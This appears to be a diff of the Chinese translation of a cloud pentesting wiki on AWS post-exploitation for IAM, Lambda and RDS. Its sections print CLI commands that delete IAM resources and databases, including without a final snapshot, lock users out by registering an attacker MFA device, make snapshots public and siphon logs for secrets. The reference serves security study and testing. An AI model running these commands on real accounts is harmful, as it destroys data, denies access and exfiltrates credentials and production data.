 # Delete a group policy
 aws iam delete-group-policy \
@@ -128,8 +127,8 @@ aws iam delete-role-policy \
 --role-name <RoleName> \
 --policy-name <PolicyName>
 ```
-### 联合身份删除
-通过 `iam:DeleteOpenIDConnectProvider`、`iam:DeleteSAMLProvider` 和 `iam:RemoveClientIDFromOpenIDConnectProvider`，攻击者可以删除 OIDC/SAML 身份提供者或移除 client IDs。这会破坏联合身份验证，阻止 token 验证，并立即拒绝依赖 SSO 的用户和服务的访问，直到 IdP 或相关配置恢复。
+### 联邦身份删除
+使用 `iam:DeleteOpenIDConnectProvider`、`iam:DeleteSAMLProvider` 和 `iam:RemoveClientIDFromOpenIDConnectProvider`，攻击者可以删除 OIDC/SAML 身份提供者或移除客户端 ID。这样会破坏联邦认证，阻止令牌验证，并立即拒绝依赖 SSO 的用户和服务的访问，直到 IdP 或配置恢复。
 ```bash
 # Delete OIDCP provider
 aws iam delete-open-id-connect-provider \
@@ -139,9 +138,8 @@ aws iam delete-open-id-connect-provider \
 aws iam delete-saml-provider \
 --saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS
 ```
-### 未经授权的 MFA 激活
-通过 `iam:EnableMFADevice`，攻击者可以在用户身份上注册一个 MFA 设备，从而阻止合法用户登录。  
-一旦启用未经授权的 MFA，用户可能会被锁定，直到该设备被移除或重置（注意：如果注册了多个 MFA 设备，登录只需要其中一个，因此此攻击对拒绝访问不会产生影响）。
+### Illegitimate MFA Activation
+使用 `iam:EnableMFADevice`，攻击者可以在用户的身份上注册一个 MFA 设备，从而阻止合法用户登录。一旦启用了未授权的 MFA，用户可能会被锁定无法访问，直到该设备被移除或重置（注意：如果注册了多个 MFA 设备，登录只需要其中一个，因此此攻击不会影响阻止访问）。
 ```bash
 aws iam enable-mfa-device \
 --user-name <Username> \
@@ -149,8 +147,8 @@ aws iam enable-mfa-device \
 --authentication-code1 123456 \
 --authentication-code2 789012
 ```
-### 证书/密钥元数据篡改
-使用 `iam:UpdateSSHPublicKey`、`iam:UpdateCloudFrontPublicKey`、`iam:UpdateSigningCertificate`、`iam:UpdateServerCertificate`，攻击者可以更改公钥和证书的状态或元数据。通过将密钥/证书标记为不活动或更改引用，他们可以破坏 SSH 认证、使 X.509/TLS 验证失效，并立即中断依赖这些凭证的服务，导致访问或可用性丧失。
+### Certificate/Key Metadata Tampering
+使用 `iam:UpdateSSHPublicKey`、`iam:UpdateCloudFrontPublicKey`、`iam:UpdateSigningCertificate`、`iam:UpdateServerCertificate`，攻击者可以更改公钥和证书的状态或元数据。通过将密钥/证书标记为失效或更改引用，他们可以破坏 SSH 认证、使 X.509/TLS 验证失效，并立即中断依赖这些凭证的服务，导致访问或可用性丧失。
 ```bash
 aws iam update-ssh-public-key \
 --user-name <Username> \
@@ -161,6 +159,33 @@ aws iam update-server-certificate \
 --server-certificate-name <Certificate_Name> \
 --new-path /prod/
 ```
+### `iam:Delete*`
+
+IAM 通配符 iam:Delete* 赋予删除多种 IAM 资源（用户、角色、组、策略、密钥、证书、MFA 设备、策略版本等）的能力——因此具有非常大的影响范围：被授予 iam:Delete* 的主体可以永久销毁身份、凭证、策略及相关工件，删除审计/证据，并导致服务或运营中断。以下是一些示例：
+```bash
+# Delete a user
+aws iam delete-user --user-name <Username>
+
+# Delete a role
+aws iam delete-role --role-name <RoleName>
+
+# Delete a managed policy
+aws iam delete-policy --policy-arn arn:aws:iam::<ACCOUNT_ID>:policy/<PolicyName>
+```
+### `iam:EnableMFADevice`
+
+被授予 `iam:EnableMFADevice` 操作的 actor 可以在账户中的某个 identity 上为其注册一个 MFA device，前提是该 user 之前没有启用过 MFA。攻击者可以利用这一点干扰 user 的访问：一旦 attacker 注册了 MFA device，legitimate user 可能会无法登录，因为他们无法控制 attacker 注册的 MFA。
+
+这种拒绝访问攻击仅在 user 之前未注册任何 MFA 时有效；如果 attacker 为该 user 注册了 MFA device，legitimate user 将会在任何需要该新 MFA 的流程中被锁定。如果该 user 已经拥有一个或多个 MFA devices，添加一个 attacker 控制的 MFA 并不会阻止 legitimate user —— 他们仍可使用已经拥有的任意 MFA 继续进行身份验证。
+
+为了为某个 user 启用（注册）MFA device，attacker 可以运行：
+```bash
+aws iam enable-mfa-device \
+--user-name <Username> \
+--serial-number arn:aws:iam::111122223333:mfa/alice \
+--authentication-code1 123456 \
+--authentication-code2 789012
+```
 ## 参考资料

 - [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html)
@@ -4,7 +4,7 @@

 ## Lambda

-有关更多信息，请查看：
+For more information check:

 {{#ref}}
 ../../aws-services/aws-lambda-enum.md
@@ -12,21 +12,27 @@

 ### Exfilrtate Lambda Credentials

-Lambda 使用环境变量在运行时注入凭证。如果你能获取到这些变量（通过读取 `/proc/self/environ` 或使用有漏洞的函数本身），就可以直接使用它们。它们存放在默认变量名 `AWS_SESSION_TOKEN`、`AWS_SECRET_ACCESS_KEY` 和 `AWS_ACCESS_KEY_ID` 中。
+Lambda 使用环境变量在运行时注入凭证。如果你能访问这些变量（例如读取 `/proc/self/environ` 或直接利用存在漏洞的函数），就可以自行使用这些凭证。它们存放在默认变量名 `AWS_SESSION_TOKEN`、`AWS_SECRET_ACCESS_KEY` 和 `AWS_ACCESS_KEY_ID` 中。

-默认情况下，这些凭证有权限写入一个 cloudwatch log group（其名称存储在 `AWS_LAMBDA_LOG_GROUP_NAME` 中），并且可以创建任意日志组，不过 Lambda 函数通常会根据其预期用途被分配更多权限。
+默认情况下，这些凭证具有写入 cloudwatch log group 的权限（该 log group 的名称保存在 `AWS_LAMBDA_LOG_GROUP_NAME`），并且可以创建任意 log group。不过根据函数的用途，lambda functions 通常会被赋予更多权限。

-### Steal Others Lambda URL Requests
+### `lambda:Delete*`
+被授予 lambda:Delete* 权限的攻击者可以删除 Lambda functions、versions/aliases、layers、event source mappings 以及其他相关配置。
+```bash
+aws lambda delete-function \
+--function-name <LAMBDA_NAME>
+```
+### 窃取其他人的 Lambda URL 请求

-如果攻击者以某种方式在 Lambda 内获得 RCE，他将能够窃取其他用户发往该 lambda 的 HTTP 请求。如果请求中包含敏感信息（cookies、credentials 等），攻击者就能窃取这些信息。
+如果攻击者以某种方式在 Lambda 内获得了 RCE，就能够窃取其他用户发送到该 Lambda 的 HTTP 请求。如果这些请求包含敏感信息（cookies, credentials...），攻击者就可以窃取它们。

 {{#ref}}
 aws-warm-lambda-persistence.md
 {{#endref}}

-### Steal Others Lambda URL Requests & Extensions Requests
+### 窃取其他 Lambda URL 请求 & Extensions 请求

-滥用 Lambda Layers 也可以利用 extensions 实现持久化，同时窃取和修改请求。
+滥用 Lambda Layers 也可以滥用 extensions，在 Lambda 中实现持久化，同时窃取并修改请求。

 {{#ref}}
 ../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
@@ -34,7 +40,7 @@ aws-warm-lambda-persistence.md

 ### AWS Lambda – VPC Egress Bypass

-通过将函数配置更新为一个空的 VpcConfig（SubnetIds=[], SecurityGroupIds=[]）可以强制 Lambda 函数脱离受限的 VPC。函数随后将在 Lambda 管理的网络平面中运行，恢复出站互联网访问，从而绕过由私有 VPC 子网（无 NAT）实施的出站控制。
+通过将其配置更新为空的 VpcConfig (SubnetIds=[], SecurityGroupIds=[])，可以强制将 Lambda 函数移出受限的 VPC。该函数随后将在 Lambda 管理的网络平面中运行，重新获得出站互联网访问，从而绕过私有 VPC 子网（无 NAT）实施的 egress 控制。

 {{#ref}}
 aws-lambda-vpc-egress-bypass.md
@@ -42,7 +48,7 @@ aws-lambda-vpc-egress-bypass.md

 ### AWS Lambda – Runtime Pinning/Rollback Abuse

-滥用 `lambda:PutRuntimeManagementConfig` 将函数固定到特定 runtime 版本（Manual）或冻结更新（FunctionUpdate）。这可保留与恶意 layers/wrappers 的兼容性，并将函数保持在过时且易受攻击的 runtime 上，以便于利用和长期持久化。
+滥用 `lambda:PutRuntimeManagementConfig` 将函数固定到特定的 runtime 版本（Manual）或冻结更新（FunctionUpdate）。这可保持与恶意 layers/wrappers 的兼容性，并可能使函数停留在过时、易受攻击的 runtime 上，便于利用和长期持久化。

 {{#ref}}
 aws-lambda-runtime-pinning-abuse.md
@@ -50,7 +56,7 @@ aws-lambda-runtime-pinning-abuse.md

 ### AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection

-滥用 `lambda:UpdateFunctionConfiguration` 的高级日志控制，将函数的日志重定向到攻击者指定的 CloudWatch Logs 日志组。此方法无需更改代码或执行角色（大多数 Lambda 角色已通过 `AWSLambdaBasicExecutionRole` 包含 `logs:CreateLogGroup/CreateLogStream/PutLogEvents`）。如果函数打印了 secrets/请求体或崩溃并产生堆栈跟踪，你可以从新的日志组中收集这些信息。
+滥用 `lambda:UpdateFunctionConfiguration` 的高级日志控制，将函数的日志重定向到攻击者选择的 CloudWatch Logs 日志组。此方法无需更改代码或执行角色（大多数 Lambda 角色已有通过 `AWSLambdaBasicExecutionRole` 授予的 `logs:CreateLogGroup/CreateLogStream/PutLogEvents`）。如果函数打印了 secrets/request bodies 或因崩溃产生堆栈跟踪，可以从新的日志组中收集这些信息。

 {{#ref}}
 aws-lambda-loggingconfig-redirection.md
@@ -58,7 +64,7 @@ aws-lambda-loggingconfig-redirection.md

 ### AWS - Lambda Function URL Public Exposure

-将私有 Lambda Function URL 转为公共未认证端点的方法是将 Function URL AuthType 切换为 NONE，并附加一个授予 lambda:InvokeFunctionUrl 给所有人的基于资源的策略。这样可以匿名调用内部函数，可能暴露敏感的后端操作。
+通过将 Function URL 的 AuthType 切换为 NONE，并附加授予 lambda:InvokeFunctionUrl 给所有人的基于资源的策略，可将私有 Lambda Function URL 变为公共的无认证端点。这允许匿名调用内部函数，并可能暴露敏感的后端操作。

 {{#ref}}
 aws-lambda-function-url-public-exposure.md
@@ -66,7 +72,7 @@ aws-lambda-function-url-public-exposure.md

 ### AWS Lambda – Event Source Mapping Target Hijack

-滥用 `UpdateEventSourceMapping` 更改现有 Event Source Mapping (ESM) 的目标 Lambda 函数，使来自 DynamoDB Streams、Kinesis 或 SQS 的记录被发送到攻击者控制的函数。这会在不接触生产者或原始函数代码的情况下静默地劫持实时数据。
+滥用 `UpdateEventSourceMapping` 更改现有 Event Source Mapping (ESM) 的目标 Lambda 函数，使来自 DynamoDB Streams、Kinesis 或 SQS 的记录被投递到攻击者控制的函数。这样可以在不接触生产者或原始函数代码的情况下，静默地劫持实时数据。

 {{#ref}}
 aws-lambda-event-source-mapping-hijack.md
@@ -74,7 +80,7 @@ aws-lambda-event-source-mapping-hijack.md

 ### AWS Lambda – EFS Mount Injection data exfiltration

-滥用 `lambda:UpdateFunctionConfiguration` 将现有的 EFS Access Point 附加到 Lambda，然后部署简单代码来列出/读取挂载路径中的文件，以外传函数之前无法访问的共享 secrets/配置。
+滥用 `lambda:UpdateFunctionConfiguration` 将现有的 EFS Access Point 挂载到 Lambda，然后部署简单代码列出/读取挂载路径下的文件，以外传函数之前无法访问的共享 secrets/config。

 {{#ref}}
 aws-lambda-efs-mount-injection.md
@@ -4,7 +4,7 @@

 ## RDS

-更多信息请参阅：
+有关更多信息，请参阅：

 {{#ref}}
 ../../aws-services/aws-relational-database-rds-enum.md
@@ -12,7 +12,7 @@

 ### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`

-如果攻击者拥有足够的权限，他可以通过为 DB 创建快照，然后从该快照恢复出一个 **公开可访问的 DB**，使数据库对外可访问。
+如果攻击者具有足够权限，他可以通过为 DB 创建快照，然后从该快照恢复/创建一个**公开可访问的 DB**，从而使 DB 公开可访问。
 ```bash
 aws rds describe-db-instances # Get DB identifier

@@ -38,11 +38,47 @@ aws rds modify-db-instance \

 # Connect to the new DB after a few mins
 ```
+### `rds:StopDBCluster` & `rds:StopDBInstance`
+具有 rds:StopDBCluster 或 rds:StopDBInstance 权限的攻击者可以强制立即停止一个 RDS 实例或整个集群，导致数据库不可用、连接中断以及依赖该数据库的进程被打断。
+
+To stop a single DB instance (example):
+```bash
+aws rds stop-db-instance \
+--db-instance-identifier <DB_INSTANCE_IDENTIFIER>
+```
+停止整个 DB 集群 (示例):
+```bash
+aws rds stop-db-cluster \
+--db-cluster-identifier <DB_CLUSTER_IDENTIFIER>
+```
+### `rds:Delete*`
+
+获得 rds:Delete* 权限的攻击者可以删除 RDS 资源，包括删除 DB instances、clusters、snapshots、automated backups、subnet groups、parameter/option groups 及相关工件，从而导致立即的服务中断、数据丢失、恢复点被销毁以及取证证据丧失。
+```bash
+# Delete a DB instance (creates a final snapshot unless you skip it)
+aws rds delete-db-instance \
+--db-instance-identifier <DB_INSTANCE_ID> \
+--final-db-snapshot-identifier <FINAL_SNAPSHOT_ID>     # omit or replace with --skip-final-snapshot to avoid snapshot
+
+# Delete a DB instance and skip final snapshot (more destructive)
+aws rds delete-db-instance \
+--db-instance-identifier <DB_INSTANCE_ID> \
+--skip-final-snapshot
+
+# Delete a manual DB snapshot
+aws rds delete-db-snapshot \
+--db-snapshot-identifier <DB_SNAPSHOT_ID>
+
+# Delete an Aurora DB cluster (creates a final snapshot unless you skip)
+aws rds delete-db-cluster \
+--db-cluster-identifier <DB_CLUSTER_ID> \
+--final-db-snapshot-identifier <FINAL_CLUSTER_SNAPSHOT_ID>   # or use --skip-final-snapshot
+```
 ### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`

-具有这些权限的攻击者可以**创建数据库的快照**并使其**公开****可用**。然后，他可以在自己的账户中直接从该快照创建数据库。
+具有这些权限的攻击者可以**创建数据库的快照**并使其**公开可用**。然后，他可以在自己的账户中从该快照创建数据库。

-如果攻击者**没有 `rds:CreateDBSnapshot`**，他仍然可以使**其他**已创建的快照**公开**。
+如果攻击者**没有 `rds:CreateDBSnapshot`**，他仍然可以将**其他**已创建的快照设为**公开**。
 ```bash
 # create snapshot
 aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
@@ -53,48 +89,48 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
 ```
 ### `rds:DownloadDBLogFilePortion`

-攻击者拥有 `rds:DownloadDBLogFilePortion` 权限可以 **下载部分 RDS 实例的日志文件**。如果敏感数据或访问凭证被意外记录，攻击者可能会利用这些信息来提升其权限或执行未授权的操作。
+拥有 `rds:DownloadDBLogFilePortion` 权限的攻击者可以 **下载 RDS 实例日志文件的部分内容**。如果敏感数据或访问凭证被意外记录，攻击者可能利用这些信息提升权限或执行未授权的操作。
 ```bash
 aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
 ```
-**潜在影响**: 使用 leaked credentials 访问敏感信息或执行未授权操作。
+**潜在影响**: 访问敏感信息或使用 leaked credentials 执行未授权操作。

 ### `rds:DeleteDBInstance`

-具有这些权限的攻击者可以 **DoS existing RDS instances**.
+拥有这些权限的攻击者可以 **DoS 现有的 RDS 实例**。
 ```bash
 # Delete
 aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
 ```
-**潜在影响**：删除现有 RDS 实例，可能导致数据丢失。
+**Potential impact**: 删除现有 RDS 实例，并可能导致数据丢失。

 ### `rds:StartExportTask`

 > [!NOTE]
-> TODO: 测试
+> TODO：待测试

-拥有此权限的攻击者可以 **将 RDS 实例快照导出到 S3 存储桶**。如果攻击者控制了目标 S3 存储桶，他们可能会访问导出快照中的敏感数据。
+拥有此权限的攻击者可以 **将 RDS 实例快照导出到 S3 存储桶**。如果攻击者能够控制目标 S3 存储桶，则可能访问导出快照中的敏感数据。
 ```bash
 aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
 ```
-**潜在影响**：访问导出快照中的敏感数据。
+**Potential impact**: 访问导出快照中的敏感数据。

-### 用于隐蔽恢复的跨区域自动备份复制 (`rds:StartDBInstanceAutomatedBackupsReplication`)
+### Cross-Region Automated Backups Replication for Stealthy Restore (`rds:StartDBInstanceAutomatedBackupsReplication`)

-滥用跨区域自动备份复制，可以静默地将一个 RDS 实例的自动备份复制到另一个 AWS Region 并在那里恢复。攻击者随后可以将恢复的 DB 设置为可公开访问，并重置主密码，从而在防御方可能不监控的 Region 以带外方式访问数据。
+滥用跨区域自动备份复制，悄悄将 RDS 实例的自动备份复制到另一个 AWS 区域并在那里恢复。攻击者随后可以使恢复的数据库公开可访问并重置主密码，从而在防御方可能不监控的区域外访问数据。

 Permissions needed (minimum):
- `rds:StartDBInstanceAutomatedBackupsReplication` in the destination Region
- `rds:DescribeDBInstanceAutomatedBackups` in the destination Region
- `rds:RestoreDBInstanceToPointInTime` in the destination Region
- `rds:ModifyDBInstance` in the destination Region
+- `rds:StartDBInstanceAutomatedBackupsReplication` 在目标区域
+- `rds:DescribeDBInstanceAutomatedBackups` 在目标区域
+- `rds:RestoreDBInstanceToPointInTime` 在目标区域
+- `rds:ModifyDBInstance` 在目标区域
 - `rds:StopDBInstanceAutomatedBackupsReplication` (可选清理)
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (用于暴露恢复后的 DB)
+- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (用于将恢复的数据库公开)

-影响：通过将生产数据的副本恢复到另一个 Region 并使用攻击者控制的凭证将其公开暴露，实现 Persistence and data exfiltration。
+Impact: Persistence and data exfiltration by restoring a copy of production data into another Region and exposing it publicly with attacker-controlled credentials.

 <details>
-<summary>端到端 CLI (替换占位符)</summary>
+<summary>端到端 CLI（替换占位符）</summary>
 ```bash
 # 1) Recon (SOURCE region A)
 aws rds describe-db-instances \
@@ -160,29 +196,26 @@ aws rds stop-db-instance-automated-backups-replication \
 --region <DEST_REGION> \
 --source-db-instance-arn <SOURCE_DB_INSTANCE_ARN>
 ```
-</details>
+### Enable full SQL logging via DB parameter groups and exfiltrate via RDS log APIs

-
-### 通过 DB 参数组启用完整 SQL 日志并通过 RDS 日志 API 外泄
-
-滥用 `rds:ModifyDBParameterGroup` 配合 RDS 日志下载 API 捕获应用执行的所有 SQL 语句（不需要 DB 引擎凭证）。启用引擎的 SQL 日志记录，并通过 `rds:DescribeDBLogFiles` 和 `rds:DownloadDBLogFilePortion`（或 REST 的 `downloadCompleteLogFile`）拉取日志文件。可用于收集可能包含敏感信息/PII/JWTs 的查询。
+滥用 `rds:ModifyDBParameterGroup` 结合 RDS 日志下载 API 捕获应用执行的所有 SQL 语句（无需 DB 引擎凭据）。启用引擎的 SQL 日志记录，并通过 `rds:DescribeDBLogFiles` 和 `rds:DownloadDBLogFilePortion`（或 REST 的 `downloadCompleteLogFile`）拉取日志文件。适用于收集可能包含敏感信息/PII/JWTs 的查询。

 Permissions needed (minimum):
 - `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
 - `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
- `rds:ModifyDBInstance`（仅在实例使用默认参数组时，用于附加自定义参数组）
- `rds:RebootDBInstance`（用于需要重启才能生效的参数，例如 PostgreSQL）
+- `rds:ModifyDBInstance`（仅当实例使用默认参数组时用于附加自定义参数组）
+- `rds:RebootDBInstance`（用于需要重启的参数，例如 PostgreSQL）

 Steps
-1) 侦察目标及当前参数组
+1) Recon target and current parameter group
 ```bash
 aws rds describe-db-instances \
 --query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
 --output table
 ```
-2) 确保已附加自定义 DB 参数组 (无法编辑默认组)
- 如果实例已使用自定义组，请在下一步重用其名称。
- 否则创建并附加一个与引擎系列匹配的参数组:
+2) 确保已附加自定义 DB 参数组（无法编辑默认项）
+- 如果该实例已使用自定义组，请在下一步复用其名称。
+- 否则，创建并附加一个与引擎系列相匹配的组：
 ```bash
 # Example for PostgreSQL 16
 aws rds create-db-parameter-group \
@@ -196,8 +229,8 @@ aws rds modify-db-instance \
 --apply-immediately
 # Wait until status becomes "available"
 ```
-3) 启用详细的 SQL 日志记录
- MySQL 引擎（即时 / 无需重启）：
+3) 启用详细 SQL 日志
+- MySQL 引擎 (立即 / 无需重启):
 ```bash
 aws rds modify-db-parameter-group \
 --db-parameter-group-name <PGNAME> \
@@ -208,7 +241,7 @@ aws rds modify-db-parameter-group \
 #   "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \
 #   "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate"
 ```
- PostgreSQL 引擎 (需要重启):
+- PostgreSQL 引擎（需要重启）：
 ```bash
 aws rds modify-db-parameter-group \
 --db-parameter-group-name <PGNAME> \
@@ -224,7 +257,7 @@ aws rds reboot-db-instance --db-instance-identifier <DB>
 - MySQL: `general/mysql-general.log`
 - PostgreSQL: `postgresql.log`

-5) 发现并下载日志（不需要数据库凭据）
+5) 发现并下载日志（不需要数据库凭证）
 ```bash
 aws rds describe-db-log-files --db-instance-identifier <DB>

@@ -235,7 +268,7 @@ aws rds download-db-log-file-portion \
 --starting-token 0 \
 --output text > dump.log
 ```
-6) 离线分析敏感数据
+6) 离线分析以查找敏感数据
 ```bash
 grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head
 ```
@@ -246,7 +279,7 @@ grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | s
 2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED')
 ```
 清理
- 将参数恢复为默认值并在需要时重启：
+- 将参数恢复为默认值，必要时重启：
 ```bash
 # MySQL
 aws rds modify-db-parameter-group \
@@ -261,19 +294,19 @@ aws rds modify-db-parameter-group \
 "ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
 # Reboot if pending-reboot
 ```
-影响：在利用后通过 AWS APIs 捕获所有应用 SQL 语句以访问数据（no DB creds），可能 leaking secrets、JWTs 和 PII。
+影响：在后期利用阶段通过 AWS APIs 捕获所有应用的 SQL 语句来访问数据（无需 DB creds），可能 leaking secrets、JWTs 和 PII。

 ### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance`

-滥用 RDS 只读副本以在不接触主实例凭证的情况下获得带外读取访问。攻击者可以从生产实例创建一个只读副本，重置副本的 master password（这不会更改主实例），并可选择将副本公开暴露以 exfiltrate 数据。
+滥用 RDS read replicas 以在不接触主实例凭证的情况下获得带外读取访问。攻击者可以从生产实例创建一个 read replica，重置该 replica 的 master password（这不会更改主实例），并可选择将该 replica 公开以 exfiltrate 数据。

 Permissions needed (minimum):
 - `rds:DescribeDBInstances`
 - `rds:CreateDBInstanceReadReplica`
 - `rds:ModifyDBInstance`
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (如果公开暴露)
+- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (if exposing publicly)

-影响：通过使用攻击者控制凭证的副本获得对生产数据的只读访问；检测可能性较低，因为主实例未被触及且复制继续进行。
+影响：通过攻击者控制的凭证访问副本以只读方式读取生产数据；由于未触及主实例且复制继续，检测可能性较低。
 ```bash
 # 1) Recon: find non-Aurora sources with backups enabled
 aws rds describe-db-instances \
@@ -310,7 +343,7 @@ REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID>

 ### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance`

-滥用 RDS Blue/Green 将生产 DB 克隆到持续复制的只读 green 环境。然后重置 green 的 master 凭据，以在不接触 blue (prod) 实例的情况下访问数据。相比 snapshot sharing，此方法更隐蔽，常常能绕过仅关注源实例的监控。
+滥用 RDS Blue/Green 将生产 DB 克隆到一个持续复制的只读 green 环境。然后重置 green 的主凭证，以便在不接触 blue（prod）实例的情况下访问数据。这比 snapshot 共享更隐蔽，并且常常能绕过只关注源实例的监控。
 ```bash
 # 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account)
 aws rds describe-db-instances \
@@ -357,22 +390,21 @@ aws rds delete-blue-green-deployment \
 --blue-green-deployment-identifier <BGD_ID> \
 --delete-target true
 ```
-影响：只读但可完全访问接近实时的生产克隆数据，而不会修改生产实例。适用于隐蔽的数据提取和离线分析。
+影响：只读但可以完全访问近实时的生产克隆数据，而无需修改生产实例。可用于隐蔽的数据提取和离线分析。

+### 通过启用 HTTP endpoint 并重置主密码，利用 RDS Data API 进行带外 SQL

-### 通过启用 HTTP endpoint 并重置主密码，使用 RDS Data API 进行带外 SQL
+滥用 Aurora 在目标集群上启用 RDS Data API HTTP endpoint，重置主密码为你控制的值，并通过 HTTPS 执行 SQL（无需 VPC 网络路径）。适用于支持 Data API/EnableHttpEndpoint 的 Aurora 引擎（例如 Aurora MySQL 8.0 provisioned；以及某些 Aurora PostgreSQL/MySQL 版本）。

-滥用 Aurora 在目标集群上启用 RDS Data API 的 HTTP endpoint，将主密码重置为你可控制的值，然后通过 HTTPS 运行 SQL（不需要 VPC 网络路径）。适用于支持 Data API/EnableHttpEndpoint 的 Aurora 引擎（例如 Aurora MySQL 8.0 provisioned；以及某些 Aurora PostgreSQL/MySQL 版本）。
-
-Permissions (minimum):
- rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
+最小权限：
+- rds:DescribeDBClusters, rds:ModifyDBCluster (或 rds:EnableHttpEndpoint)
 - secretsmanager:CreateSecret
- rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used)
+- rds-data:ExecuteStatement (以及 rds-data:BatchExecuteStatement 如果使用)

-影响：绕过网络分段，并通过 AWS APIs 外传数据，而无需与 DB 的直接 VPC 连接。
+影响：绕过网络分段，通过 AWS APIs 窃取数据，而无需与 DB 建立直接的 VPC 连接。

 <details>
-<summary>End-to-end CLI (Aurora MySQL example)</summary>
+<summary>端到端 CLI (Aurora MySQL 示例)</summary>
 ```bash
 # 1) Identify target cluster ARN
 REGION=us-east-1
@@ -425,21 +457,21 @@ aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
 </details>

 注意：
- 如果 rds-data 拒绝 multi-statement SQL，请分别发起 execute-statement 调用。
- 对于 modify-db-cluster --enable-http-endpoint 无效的引擎，使用 rds enable-http-endpoint --resource-arn。
+- 如果 rds-data 拒绝多语句 SQL，请分别发出 execute-statement 调用。
+- 对于 modify-db-cluster --enable-http-endpoint 无效的引擎，请使用 rds enable-http-endpoint --resource-arn。
 - 确保引擎/版本实际上支持 Data API；否则 HttpEndpointEnabled 将保持 False。


-### 通过 RDS Proxy auth secrets 获取 DB 凭证 (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
+### 通过 RDS Proxy 认证 secrets 获取 DB 凭据 (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)

-滥用 RDS Proxy 配置以发现用于后端认证的 Secrets Manager secret，然后读取该 secret 以获取数据库凭证。许多环境授予广泛的 `secretsmanager:GetSecretValue`，使其成为获取 DB 凭证的低成本跳板。如果该 secret 使用 CMK，范围设置不当的 KMS 权限也可能允许 `kms:Decrypt`。
+滥用 RDS Proxy 配置以发现用于后端身份验证的 Secrets Manager secret，然后读取该 secret 以获取数据库凭据。许多环境授予广泛的 `secretsmanager:GetSecretValue` 权限，使其成为低摩擦的转向 DB 凭据 的方法。如果 secret 使用 CMK，权限范围不当的 KMS 也可能允许 `kms:Decrypt`。

-所需权限（最少）：
+所需权限（最低）：
 - `rds:DescribeDBProxies`
- `secretsmanager:GetSecretValue` 针对引用的 SecretArn
- 可选（当 secret 使用 CMK 时）：`kms:Decrypt` 针对该密钥
+- `secretsmanager:GetSecretValue` on the referenced SecretArn
+- Optional when the secret uses a CMK: `kms:Decrypt` on that key

-影响：立即泄露配置在 proxy 上的 DB 用户名/密码；可直接访问 DB 或进行进一步横向移动。
+影响：立即披露配置在 proxy 上的 DB 用户名/密码；可直接访问 DB 或进行进一步的横向移动。

 步骤
 ```bash
@@ -473,27 +505,27 @@ aws rds create-db-proxy --db-proxy-name p0 --engine-family MYSQL \
 aws rds wait db-proxy-available --db-proxy-name p0
 # Now run the enumeration + secret read from the Steps above
 ```
-清理 (实验室)
+清理 (实验)
 ```bash
 aws rds delete-db-proxy --db-proxy-name p0
 aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
 aws iam delete-role --role-name rds-proxy-secret-role
 aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery
 ```
-### 通过 Aurora zero‑ETL 到 Amazon Redshift 进行隐蔽的持续数据外泄 (rds:CreateIntegration)
+### 通过 Aurora zero‑ETL 到 Amazon Redshift 的隐蔽持续外泄 (rds:CreateIntegration)

-滥用 Aurora PostgreSQL zero‑ETL integration 将生产数据持续复制到你控制的 Redshift Serverless 命名空间。若 Redshift resource policy 对特定的 Aurora cluster ARN 授权 CreateInboundIntegration/AuthorizeInboundIntegration 且策略宽松，攻击者可以在无需数据库凭据、快照或网络暴露的情况下建立近实时的数据副本。
+滥用 Aurora PostgreSQL 的 zero‑ETL 集成，将生产数据持续复制到你控制的 Redshift Serverless namespace。若存在一条宽松的 Redshift 资源策略，授权对特定 Aurora 集群 ARN 执行 CreateInboundIntegration/AuthorizeInboundIntegration，攻击者可以在无需 DB 凭据、快照或网络暴露的情况下建立近实时的数据副本。

 Permissions needed (minimum):
